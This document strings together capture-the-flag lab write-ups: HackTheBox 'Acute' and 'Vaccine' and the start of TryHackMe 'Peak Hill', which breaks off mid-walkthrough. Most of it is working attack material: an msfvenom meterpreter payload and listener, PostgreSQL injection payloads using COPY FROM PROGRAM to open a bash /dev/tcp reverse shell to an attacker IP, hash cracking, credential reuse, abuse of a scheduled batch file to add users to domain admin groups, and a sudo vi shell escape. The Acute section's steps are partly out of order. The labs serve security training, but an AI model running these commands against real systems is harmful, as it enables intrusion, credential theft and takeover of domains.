htb-acute-nl

Acute

We always
start with an nmap scan…..

nmap -p- --min-rate 10000 -oA nmap/allports -v IP
# Nmap 7.91 scan initiated Wed Feb 16 14:29:52 2022 as: nmap -p- --min-rate 10000 -oN nmap/full.tcp -v 10.10.11.145
Nmap scan report for 10.10.11.145
Host is up (0.27s latency).
Not shown: 65534 filtered ports
PORT    STATE SERVICE
443/tcp open  https

Read data files from: /usr/bin/../share/nmap
# Nmap done at Wed Feb 16 14:31:33 2022 -- 1 IP address (1 host up) scanned in 101.32 seconds

Now that is strange just one port which is 443 HTTPS .

nmap -sC -sV -oN nmap/normal.tcp -p 443 10.10.11.145
# Nmap 7.91 scan initiated Wed Feb 16 14:29:26 2022 as: nmap -sC -sV -oN nmap/normal.tcp -p 443 10.10.11.145
Nmap scan report for 10.10.11.145
Host is up (0.29s latency).

PORT    STATE SERVICE  VERSION
443/tcp open  ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
| ssl-cert: Subject: commonName=atsserver.acute.local
| Subject Alternative Name: DNS:atsserver.acute.local, DNS:atsserver
| Not valid before: 2022-01-06T06:34:58
|_Not valid after:  2030-01-04T06:34:58
|_ssl-date: 2022-02-16T16:29:37+00:00; +2h59m36s from scanner time.
| tls-alpn: 
|_  http/1.1
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 2h59m35s

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Feb 16 14:30:03 2022 -- 1 IP address (1 host up) scanned in 36.87 seconds

Now that is interesting let add atsserver.acute.local 10.10.14.145 to /etc/hosts now let see what we have running on the webpage.

image

Now what do we have let try looking around to see what we can get maybe hint or anything that can be useful to further our enumeration forawrd.

image

Now we can use that to create some userlist maybe it can useful.

Awallace
Chall
Edavies
Imonks
Jmorgan
Lhopkins

image

Now that New Starter Forms look interesting let click on it.

image

So we downloaded a doc file let check it and see what we have in it.

image

Seems like a checklist interesting right now that is promising.

image

Arrange for the new starter to meet with other staff in the department as appropriate. This could include the Head of Department and/or other members of the appointee’s team. Complete the remote training.

image

Now that is cool i click on the remote which i got transfer to a staff webpage which is a Windows PowerShell Web Access ahhh nice.

https://atsserver.acute.local/Acute_Staff_Access/

image

Since we already know the default password for new staff which is Password1! let try to get the computer name back to the doc let check if we have anything hidden on it with exiftool.

image

Now we have the Computer name let the password with all the userlist we compile.

image

I was able to get in with edavies login in to Acute-PC1 now time to enumerate the system more to see what we can loot. So the best thing o do now is to get a proper reverse shell back to our terminal.

└─$ msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.14.13 LPORT=1337 -f exe > shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 200262 bytes
Final size of exe file: 206848 bytes

Then, we open up Msfconsole and configure our listener.
use exploit/multi/handler
set lhost tun0
set lport 1337
set payload windows/meterpreter/reverse_tcp
run

Now we use msfvenom to generate a payload file to get a reverse shell now let find writable folder on the target.

image

Found a writable folder let transfer our payload.

image

Invoke-WebRequest "http://10.10.14.52:8000/shell.exe" -OutFile "shell.exe"

Now let start our listener before executing our payload.

image

Now let click on run and execute the payload on the target.

image

 

Now that we a meterpreter shell let use the screenshare command to see what has taken place on the target

image

We can confirm the streaming on browser.

image

image

image

Now we just need to create the same object and use Invoke-Command to execute commands has user imonks

$passwd = ConvertTo-SecureString "W3_4R3_th3_f0rce." -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential ("acute\imonks", $passwd)

invoke-Command -computername atsserver -ConfigurationName dc_manage  -ScriptBlock {whoami} -credential $cred

Then, we execute the wm.ps1 script and re-check the local administrators group to see if we have achieved our goal.

PS C:\utils> Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -ScriptBlock{C:\Users\imonks\Desktop\wm.ps1} -Credential $cred 
Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -ScriptBlock{C:\Users\imonks\Desktop\wm.ps1} -Credential $cred
The command completed successfully.

PS C:\utils>

.

PS C:\utils> net localgroup Administrators
net localgroup Administrators
Alias name Administrators
Comment Administrators have complete and unrestricted access to the computer/domain

Members

-------------------------------------------------------------------------------
ACUTE\Domain Admins
ACUTE\edavies
ACUTE\jmorgan
Administrator
The command completed successfully.

PS C:\utils>

Indeed, edavies is now a local administrator on Acute-PC01 .
Note: For the administrator permissions to take effect logging off and logging back in as edavies on the PSWA session is required.

.

image

Now boom we can execute command has imonks now let enumerate more.

image

invoke-Command -computername atsserver -ConfigurationName dc_manage  -ScriptBlock {ls /users} -credential $cred

We have more users to enumerate let hit it.

image

invoke-Command -computername atsserver -ConfigurationName dc_manage  -ScriptBlock {ls /users/imonks/desktop} -credential $cred

We end up with the following chain of commands:

Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -ScriptBlock {((Get-Content "c:\users\imonks\Desktop\wm.ps1" -Raw) -replace 'Get-Volume','net localgroup administrators edavies /add') | set-content -path c:\users\imonks\Desktop\wm.ps1} -credential $cred
Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -ScriptBlock {Get-Content c:\users\imonks\Desktop\wm.ps1} -credential $cred

Boom we have user.txt also seems we have a powershell script let cat it to see what we have inside.

image

Now that scripts look promising seems it a script that contain jmorgan password we can see it in the object it possible to execute command has jmorgan if we run the script. So what we need to do is edit Invoke-Command -ScriptBlock {Get-Volume} -ComputerName Acute-PC01 -Credential $creds remove Get-Volume and add a path to our reverse shell executable file.

Invoke-Command -computername ATSSERVER -ConfigurationName dc_manage -ScriptBlock{((Get-Content "c:\users\imonks\Desktop\wm.ps1" -Raw) -replace 'Get-Volume','cmd.exe /c c:\utils\rev.exe') | set-content -path c:\users\imonks\Desktop\wm.ps1} -credential $cred

image

Now we can execute it with invoke-command again.

invoke-Command -computername atsserver -ConfigurationName dc_manage  -ScriptBlock {C:\Users\imonks\Desktop\wm.ps1} -credential $cred

image

Now back to check our listener.

image

Boom we shell has jmorgan cool now let check which localgroup jmorgan is on.

image

Now we know jmorgan is part of administrator group we can dump the hashes.

image

Now let crack the administrator hash .

image

But the issue is when i try to use on the administrator it a dead end so let try password reuse on each users we know we have no access to yet use powershell script just like the first time setting object and using the invoke-command .

A flashback if i can remember we found some new users ATSSERVER why not let give it a try with the usernames.

image

$passwd = ConvertTo-SecureString "Password@123" -AsPlainText -Force

$cred = New-Object System.Management.Automation.PSCredential ("acute\awallace", $passwd)

invoke-Command -computername atsserver -ConfigurationName dc_manage  -ScriptBlock {whoami} -credential $cred

Boom work for user awallace more enumeration now.

image

image

invoke-Command -computername atsserver -ConfigurationName dc_manage  -ScriptBlock {ls /"program files"} -credential $cred

Now that folder look strange and interesting keepmeon let check what we have in it.

invoke-Command -computername atsserver -ConfigurationName dc_manage  -ScriptBlock {ls /"program files"/keepmeon} -credential $cred

image

Now we have a bat file let cat to see what the keepmeon.bat doing.

image

invoke-Command -computername atsserver -ConfigurationName dc_manage  -ScriptBlock {cat /"program files"/keepmeon/keepmeon.bat} -credential $cred

Now that seems like a job keep running every 5min just like a cronjob in linux probably these one is scheduled to run every 5 min which is cool i guess.

REM This is run every 5 minutes. For Lois use ONLY

@echo off

 for /R %%x in (*.bat) do (

 if not "%%x" == "%~0" call "%%x"

)

Let me break it down any file ending with .bat would run every 5 min since we are in the keepmeon folder so it possible to create a payload in a bat format which can give access to lois now back to the doc file we got first.

image

**Lois is the only authorized personnel to change Group Membership, Contact Lois to have this approved and changed if required. Only Lois can become site admin. **

Now let add user awallace to the group of site_admin and wait for 5min to confirm it.

Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -Credential $cred -ScriptBlock {Set-Content -Path 'c:\program files\Keepmeon\admin.bat' -Value 'net group site_admin awallace /add /domain'}

image

Now we can confirm if user awallace is now part of site_admin group.

image

invoke-Command -computername atsserver -ConfigurationName dc_manage  -ScriptBlock {net group site_admin} -credential $cred

Now we are part of site_admin group time to get the root.txt flag.

image

invoke-Command -computername atsserver -ConfigurationName dc_manage  -ScriptBlock {ls /users/administrator/desktop} -credential $cred

invoke-Command -computername atsserver -ConfigurationName dc_manage  -ScriptBlock {cat /users/administrator/desktop/root.txt} -credential $cred

.

PS C:\utils> $passwd = ConvertTo-SecureString "Password@123" -AsPlainText -Force
$passwd = ConvertTo-SecureString "Password@123" -AsPlainText -Force
PS C:\utils> $cred = New-Object System.Management.Automation.PSCredential ("acute\awallace", $passwd)
$cred = New-Object System.Management.Automation.PSCredential ("acute\awallace", $passwd)
PS C:\utils> invoke-Command -computername atsserver -ConfigurationName dc_manage -ScriptBlock {whoami} -credential $cred
invoke-Command -computername atsserver -ConfigurationName dc_manage -ScriptBlock {whoami} -credential $cred
acute\awallace
PS C:\utils> Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -ScriptBlock {Get-ChildItem 'C:\Program Files\Keepmeon\'} -Credential $cred
Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -ScriptBlock {Get-ChildItem 'C:\Program Files\Keepmeon\'} -Credential $cred


Directory: C:\Program Files\Keepmeon


Mode LastWriteTime Length Name PSComputerName 
---- ------------- ------ ---- -------------- 
-a---- 21/12/2021 14:57 128 keepmeon.bat ATSSERVER


PS C:\utils>

.

PS C:\utils> Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -ScriptBlock {Get-Content 'C:\Program Files\Keepmeon\keepmeon.bat'} -Credential $cred
Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -ScriptBlock {Get-Content 'C:\Program Files\Keepmeon\keepmeon.bat'} -Credential $cred
REM This is run every 5 minutes. For Lois use ONLY
@echo off
for /R %%x in (*.bat) do (
if not "%%x" == "%~0" call "%%x"
)
PS C:\utils>

.

PS C:\utils> Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -ScriptBlock {net group site_admin /domain} -Credential $cred
Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -ScriptBlock {net group site_admin /domain} -Credential $cred
Group name Site_Admin
Comment Only in the event of emergencies is this to be populated. This has access to Domain Admin group

Members

-------------------------------------------------------------------------------
The command completed successfully.

PS C:\utils>

It seems like the site_admin group has access to the Domain Admins group which is our final goal.
So, let’s try to create a script that when Lois executes it, through the keepmeon.bat script, imonks will be
added to the site_admin group.

PS C:\utils> Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -ScriptBlock {Set-Content -Path 'c:\program files\Keepmeon\imonks.bat' -Value 'net group site_admin imonks /add /domain'} -Credential $cred
Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -ScriptBlock {Set-Content -Path 'c:\program files\Keepmeon\imonks.bat' -Value 'net group site_admin imonks /add /domain'} -Credential $cred
PS C:\utils>
PS C:\utils> Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -ScriptBlock {net group site_admin /domain} -Credential $cred
Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -ScriptBlock {net group site_admin /domain} -Credential $cred
Group name Site_Admin
Comment Only in the event of emergencies is this to be populated. This has access to Domain Admin group

Members

-------------------------------------------------------------------------------
The command completed successfully.

PS C:\utils> Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -ScriptBlock {Set-Content -Path 'c:\program files\Keepmeon\imonks.bat' -Value 'net group site_admin imonks /add /domain'} -Credential $cred
Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -ScriptBlock {Set-Content -Path 'c:\program files\Keepmeon\imonks.bat' -Value 'net group site_admin imonks /add /domain'} -Credential $cred
PS C:\utils> Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -ScriptBlock {get-childitem 'c:\program files\Keepmeon\'} -Credential $cred
Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -ScriptBlock {get-childitem 'c:\program files\Keepmeon\'} -Credential $cred


Directory: C:\program files\Keepmeon


Mode LastWriteTime Length Name PSComputerName 
---- ------------- ------ ---- -------------- 
-a---- 09/09/2022 13:43 42 imonks.bat ATSSERVER 
-a---- 21/12/2021 14:57 128 keepmeon.bat ATSSERVER


PS C:\utils>

 

After 5 minutes or so, we check, once more, the members of the site_admin group to make sure that
imonks was successfully added.

Now, according to our enumeration imonks is able to add himself to the Domain Admins group.

$passwd = ConvertTo-SecureString "W3_4R3_th3_f0rce." -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential ("acute\imonks", $passwd)

.

PS C:\utils> $cred = New-Object System.Management.Automation.PSCredential ("acute\imonks", $passwd)
$cred = New-Object System.Management.Automation.PSCredential ("acute\imonks", $passwd)
PS C:\utils> Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -ScriptBlock {net group "Domain Admins" imonks /add /domain} -Credential $cred
Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -ScriptBlock {net group "Domain Admins" imonks /add /domain} -Credential $cred
System error 5 has occurred.
+ CategoryInfo : NotSpecified: (System error 5 has occurred.:String) [], RemoteException
+ FullyQualifiedErrorId : NativeCommandError
+ PSComputerName : ATSSERVER

NotSpecified: (:String) [], RemoteException
Access is denied.
NotSpecified: (:String) [], RemoteException
PS C:\utils>

.

PS C:\utils> Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -ScriptBlock {net group "Domain Admins" /domain} -Credential $cred
Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -ScriptBlock {net group "Domain Admins" /domain} -Credential $cred
Group name Domain Admins
Comment Designated administrators of the domain

Members

-------------------------------------------------------------------------------
Administrator 
The command completed successfully.

PS C:\utils> Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -ScriptBlock {get-content C:\Users\Administrator\Desktop\root.txt} -Credential $cred
Invoke-Command -ComputerName ATSSERVER -ConfigurationName dc_manage -ScriptBlock {get-content C:\Users\Administrator\Desktop\root.txt} -Credential $cred
91ac558b60398bde3b9fe9d00f7767da
PS C:\utils>

.

 

 

htb-vaccine

 

Enumeration

As usual, we’ll begin with a quick Nmap scan.

┌─[puck@parrot-lt]─[~/htb/vaccine]
└──╼ $nmap -sC -sV 10.129.231.5 -oN ports.nmap 
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-15 14:46 CET
Nmap scan report for 10.129.231.5
Host is up (0.072s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
| ftp-syst: 
| STAT: 
| FTP server status:
| Connected to ::ffff:10.10.14.151
| Logged in as ftpuser
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 3
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rwxr-xr-x 1 0 0 2533 Apr 13 2021 backup.zip
22/tcp open ssh OpenSSH 8.0p1 Ubuntu 6ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 3072 c0:ee:58:07:75:34:b0:0b:91:65:b2:59:56:95:27:a4 (RSA)
| 256 ac:6e:81:18:89:22:d7:a7:41:7d:81:4f:1b:b8:b2:51 (ECDSA)
|_ 256 42:5b:c3:21:df:ef:a2:0b:c9:5e:03:42:1d:69:d0:28 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
| http-cookie-flags: 
| /: 
| PHPSESSID: 
|_ httponly flag not set
|_http-title: MegaCorp Login
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.67 seconds
┌─[puck@parrot-lt]─[~/htb/vaccine]

Let’s FTP in

┌─[puck@parrot-lt]─[~/htb/vaccine]
└──╼ $ftp 10.129.231.5
Connected to 10.129.231.5.
220 (vsFTPd 3.0.3)
Name (10.129.231.5:puck): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 2 0 0 4096 Apr 13 2021 .
drwxr-xr-x 2 0 0 4096 Apr 13 2021 ..
-rwxr-xr-x 1 0 0 2533 Apr 13 2021 backup.zip
226 Directory send OK.
ftp> mget *
mget backup.zip? y
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for backup.zip (2533 bytes).
226 Transfer complete.
2533 bytes received in 0.00 secs (24.9037 MB/s)
ftp>

Trying to unzip the file fails due to being password protected.

We’re going to need to use zip2john in order to crack the password.

zip2john backup.zip > result
cat result

Notice, zip2john doesn’t actually crack the password but gives us the exact file containing the hash that needs to be cracked. Now we need to utilize John the Ripper. The former John command is used to find the file containing the password protecting the rest of the archive while the latter is used to crack a given hash to find the original password.

john result

This gives us the password from the hash located in the file result.

john --show result

This outputs the password from the hash contained within the file result in a nice & clean format.

We can now unzip the archive.

Amazingly, when examining the index.php file, there’s a nested if statement of which the inside if seems to contain a credential check which contains the valid credentials needed to access the website we’ve discovered earlier.

So far we see that a user named admin has the following password: 2cb42f8734ea607eefed3b70af13bbd3 (hashed utilizing MD5).

Let’s run hashcat in order to quickly derive the password.

* notice the flag is set to tell hashcat that the following hash is MD5. Also, we are passing rockyou.txt as the wordlist for hashcat to use to try to crack the hash.

hashcat -m 0 md5_hash.txt /usr/share/wordlists/rockyou.txt

There we have it. Our password for user admin is qwerty789. Now let’s try to log in to the web page.

Foothold

Now, following the walkthrough from HTB you can use sqlmap to automate the process to determine if this webpage is vulnerable to SQL injections or not.

sqlmap -u 'http://10.129.231.5/dashboard.php?search=any+query' --
cookie="PHPSESSID=7u6p9qbhb44c5c1rsefp4ro8u1"
┌─[✗]─[puck@parrot-lt]─[~/htb/vaccine]
└──╼ $sqlmap -u 'http://10.129.231.5/dashboard.php?search=puck' --cookie="PHPSESSID=7u6p9qbhb44c5c1rsefp4ro8u1" --os-shell
___
__H__
___ ___[)]_____ ___ ___ {1.5.12#stable}
|_ -| . [(] | .'| . |
|___|_ [(]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 15:01:19 /2022-02-15/

[15:01:19] [INFO] testing connection to the target URL
[15:01:19] [INFO] testing if the target URL content is stable
[15:01:20] [INFO] target URL content is stable
[15:01:20] [INFO] testing if GET parameter 'search' is dynamic
[15:01:20] [WARNING] GET parameter 'search' does not appear to be dynamic
[15:01:20] [INFO] heuristic (basic) test shows that GET parameter 'search' might be injectable (possible DBMS: 'PostgreSQL')
[15:01:20] [INFO] heuristic (XSS) test shows that GET parameter 'search' might be vulnerable to cross-site scripting (XSS) attacks
[15:01:20] [INFO] testing for SQL injection on GET parameter 'search'
it looks like the back-end DBMS is 'PostgreSQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] n
for the remaining tests, do you want to include all tests for 'PostgreSQL' extending provided leven
[15:01:36] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[15:01:37] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[15:01:37] [INFO] testing 'Generic inline queries'
[15:01:37] [INFO] testing 'PostgreSQL AND error-based - WHERE or HAVING clause'
[15:01:37] [INFO] testing 'PostgreSQL > 8.1 stacked queries (comment)'
[15:01:37] [WARNING] time-based comparison requires larger statistical model, please wait......... (done)
[15:01:48] [INFO] GET parameter 'search' appears to be 'PostgreSQL > 8.1 stacked queries (comment)' injectable 
[15:01:48] [INFO] testing 'PostgreSQL > 8.1 AND time-based blind'
[15:01:48] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[15:01:48] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[15:01:48] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[15:01:48] [WARNING] reflective value(s) found and filtering out
[15:01:48] [INFO] target URL appears to have 5 columns in query
[15:01:48] [INFO] GET parameter 'search' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'search' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 42 HTTP(s) requests:
---
Parameter: search (GET)
Type: stacked queries
Title: PostgreSQL > 8.1 stacked queries (comment)
Payload: search=puck';SELECT PG_SLEEP(5)--

Type: UNION query
Title: Generic UNION query (NULL) - 5 columns
Payload: search=puck' UNION ALL SELECT NULL,(CHR(113)||CHR(120)||CHR(118)||CHR(120)||CHR(113))||(CHR(88)||CHR(99)||CHR(122)||CHR(88)||CHR(105)||CHR(112)||CHR(122)||CHR(90)||CHR(105)||CHR(83)||CHR(82)||CHR(77)||CHR(114)||CHR(71)||CHR(122)||CHR(100)||CHR(118)||CHR(81)||CHR(69)||CHR(109)||CHR(80)||CHR(118)||CHR(74)||CHR(105)||CHR(97)||CHR(69)||CHR(87)||CHR(78)||CHR(84)||CHR(117)||CHR(105)||CHR(113)||CHR(78)||CHR(103)||CHR(82)||CHR(82)||CHR(100)||CHR(121)||CHR(112)||CHR(87))||(CHR(113)||CHR(120)||CHR(107)||CHR(106)||CHR(113)),NULL,NULL,NULL-- CBTa
---
[15:01:54] [INFO] the back-end DBMS is PostgreSQL
web server operating system: Linux Ubuntu 20.04 or 19.10 or 20.10 (eoan or focal)
web application technology: Apache 2.4.41
back-end DBMS: PostgreSQL
[15:01:55] [INFO] fingerprinting the back-end DBMS operating system
[15:01:55] [INFO] the back-end DBMS operating system is Linux
[15:01:55] [INFO] testing if current user is DBA
[15:01:55] [INFO] going to use 'COPY ... FROM PROGRAM ...' command execution
[15:01:55] [INFO] calling Linux OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> id
do you want to retrieve the command standard output? [Y/n/a] Y
command standard output:
---
u
i
--snip--
t
)
---
os-shell> bash -c "bash -i >& /dev/tcp/{your_IP}/443 0>&1"

However, it’s better to try to perform SQL injections manually to gain a stronger knowledge of how injections work.

To start, try entering an ‘ into the search box. Hit enter.

You should see a similar message. This proves that SQL injections are possible. I highly recommend using Portswigger.com for their free Web Training Academy. This will greatly enhance your skills when it comes to penetrating websites. I specifically used their SQL cheat sheet to try a variety until I narrowed down a couple that worked for me.

https://portswigger.net/web-security/sql-injection/cheat-sheet

With the wrong number of colums we get an error:

Entering the following into the search bar:

' UNION SELECT NULL, NULL, NULL , NULL, VERSION() --

Using that SQL statement, we see that the backend database for this website is PostgreSQL version 11.5. Let’s go to “Google University” real quick to see what sort of exploits can be used to gain a reverse shell. After some research, we come across an exploit discovered on PostgreSQL version 9.3 that is still alive & well for version 11.5.

* it seems we can use Metasploit but for more of a challenge let’s try to do this on our own

Follow this up by starting a Netcat listener on your own attacking machine.

nc -lvnp 1234

Next, run the following code within the search bar of the target website.

* Be sure to set your own IPv4 address & the correct port. Also, at times I had to log out of the website and log back in while repeating the process to get the connection back. Just look at it as extra practice.

'; CREATE TABLE cmd_exec(cmd_output text); --
'; COPY cmd_exec FROM PROGRAM 'bash -c ''bash -i >& /dev/tcp/10.10.14.107/1234 0>&1'''; -- 

The above snippet essentially tells the backend database to create a new table utilizing a cmd_exe function which then use to initiate a reverse shell.

Now that we are in, let’s dig around. Seeing how we are on a web server’s database, let’s cd over to /var/www/html.

From here we can see a dashboard.php file. If you cat out the file, you’ll find some interesting lines of code.

This first portion above is what has allowed us to exploit the website with SQL injections. I had to research this a bit, but from what I could find it seems user input was being added onto the end of a SQL query which as we can see is not wise.

Also within our code, we see the name of the database as well as our current user’s credentials. Now with that, let’s see if we can become root!

Privilege Escalation

If you run the whoami command you’ll see we are still the user postgres. Our first goal should be to spawn a more interactive shell. Use the following snippet to do so.

python3 -c 'import pty; pty.spawn("/bin/sh")'

* Please note unless you upgrade your shell you will get the error “no tty present and no askpass program specified”.

Running sudo -l we are able to see the privileges the user postgres can run.

At the very bottom, we can see postgres can run the following:

sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf

From here exit vim by entering either of the following:

:!/bin/bash
:!/bin/sh
:shell

All three of the above commands will tell vim to exit & spawn a new shell which should spawn us as the user root.

 

thm-peakhill

room : https://tryhackme.com/room/peakhill#

Initial Recon

Port Scan

┌─[puck@parrot-lt]─[~/thm/peakhill]
└──╼ $nmap -Pn -A 10.10.90.44 -oN allports.nmap
Starting Nmap 7.92 ( https://nmap.org ) at 2022-02-11 09:35 CET
Nmap scan report for 10.10.90.44
Host is up (0.051s latency).
Not shown: 997 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
20/tcp closed ftp-data
21/tcp open ftp vsftpd 3.0.3
| ftp-syst: 
| STAT: 
| FTP server status:
| Connected to ::ffff:10.9.0.211
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| At session startup, client count was 1
| vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_-rw-r--r-- 1 ftp ftp 17 May 15 2020 test.txt
22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
| 2048 04:d5:75:9d:c1:40:51:37:73:4c:42:30:38:b8:d6:df (RSA)
| 256 7f:95:1a:d7:59:2f:19:06:ea:c1:55:ec:58:35:0c:05 (ECDSA)
|_ 256 a5:15:36:92:1c:aa:59:9b:8a:d8:ea:13:c9:c0:ff:b6 (ED25519)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.81 seconds
┌─[puck@parrot-lt]─[~/thm/peakhill]

FTP

Anonymous log in allowed

┌─[puck@parrot-lt]─[~/thm/peakhill]
└──╼ $ftp 10.10.90.44 
Connected to 10.10.90.44.
220 (vsFTPd 3.0.3)
Name (10.10.90.44:puck): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls -la
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
drwxr-xr-x 2 ftp ftp 4096 May 15 2020 .
drwxr-xr-x 2 ftp ftp 4096 May 15 2020 ..
-rw-r--r-- 1 ftp ftp 7048 May 15 2020 .creds
-rw-r--r-- 1 ftp ftp 17 May 15 2020 test.txt
226 Directory send OK.
ftp>

We download .creds , and add it in

https://gchq.github.io/CyberChef/

CyberChef Conversion

This is pickled output (python)

This can be unpickled using the following python script

import pickle

with open(filename, "rb") as file:
	pickle_data = file.read()
	creds = pickle.loads(pickle_data)
	print(creds)

Output:

┌─[puck@parrot-lt]─[~/thm/peakhill]
└──╼ $python3 pickie.py 
[('ssh_pass15', 'u'), ('ssh_user1', 'h'), ('ssh_pass25', 'r'), ('ssh_pass20', 'h'), ('ssh_pass7', '_'), ('ssh_user0', 'g'), ('ssh_pass26', 'l'), ('ssh_pass5', '3'), ('ssh_pass1', '1'), ('ssh_pass22', '_'), ('ssh_pass12', '@'), ('ssh_user2', 'e'), ('ssh_user5', 'i'), ('ssh_pass18', '_'), ('ssh_pass27', 'd'), ('ssh_pass3', 'k'), ('ssh_pass19', 't'), ('ssh_pass6', 's'), ('ssh_pass9', '1'), ('ssh_pass23', 'w'), ('ssh_pass21', '3'), ('ssh_pass4', 'l'), ('ssh_pass14', '0'), ('ssh_user6', 'n'), ('ssh_pass2', 'c'), ('ssh_pass13', 'r'), ('ssh_pass16', 'n'), ('ssh_pass8', '@'), ('ssh_pass17', 'd'), ('ssh_pass24', '0'), ('ssh_user3', 'r'), ('ssh_user4', 'k'), ('ssh_pass11', '_'), ('ssh_pass0', 'p'), ('ssh_pass10', '1')]
┌─[puck@parrot-lt]─[~/thm/peakhill]

Cleaned output

gherkin
p1ckl3s_@11_@r0und_th3_w0rld

These credentials can be used to log in via SSH

┌─[✗]─[puck@parrot-lt]─[~/thm/peakhill]
└──╼ $ssh gherkin@10.10.90.44
gherkin@10.10.90.44's password: 
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-177-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage


28 packages can be updated.
19 updates are security updates.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

gherkin@ubuntu-xenial:~$ ls
cmd_service.pyc
gherkin@ubuntu-xenial:~$ ls -la
total 16
drwxr-xr-x 3 gherkin gherkin 4096 Feb 11 08:47 .
drwxr-xr-x 4 root root 4096 May 15 2020 ..
drwx------ 2 gherkin gherkin 4096 Feb 11 08:47 .cache
-rw-r--r-- 1 root root 2350 May 15 2020 cmd_service.pyc
gherkin@ubuntu-xenial:~$

Privilege Escalation

There is a compiled python file in the gherkin user’s home directory

scp to host with:

┌─[✗]─[puck@parrot-lt]─[~/thm/peakhill]
└──╼ $scp gherkin@10.10.90.44:/home/gherkin/cmd_service.pyc .
gherkin@10.10.90.44's password: 
cmd_service.pyc 100% 2350 65.9KB/s 00:00 
┌─[puck@parrot-lt]─[~/thm/peakhill]

Running file

┌─[puck@parrot-lt]─[~/thm/peakhill]
└──╼ $file cmd_service.py
cmd_service.py: Python script, ASCII text executable

This can be decompiled with a tool called uncompyle6 [pip3 install uncompyle6]

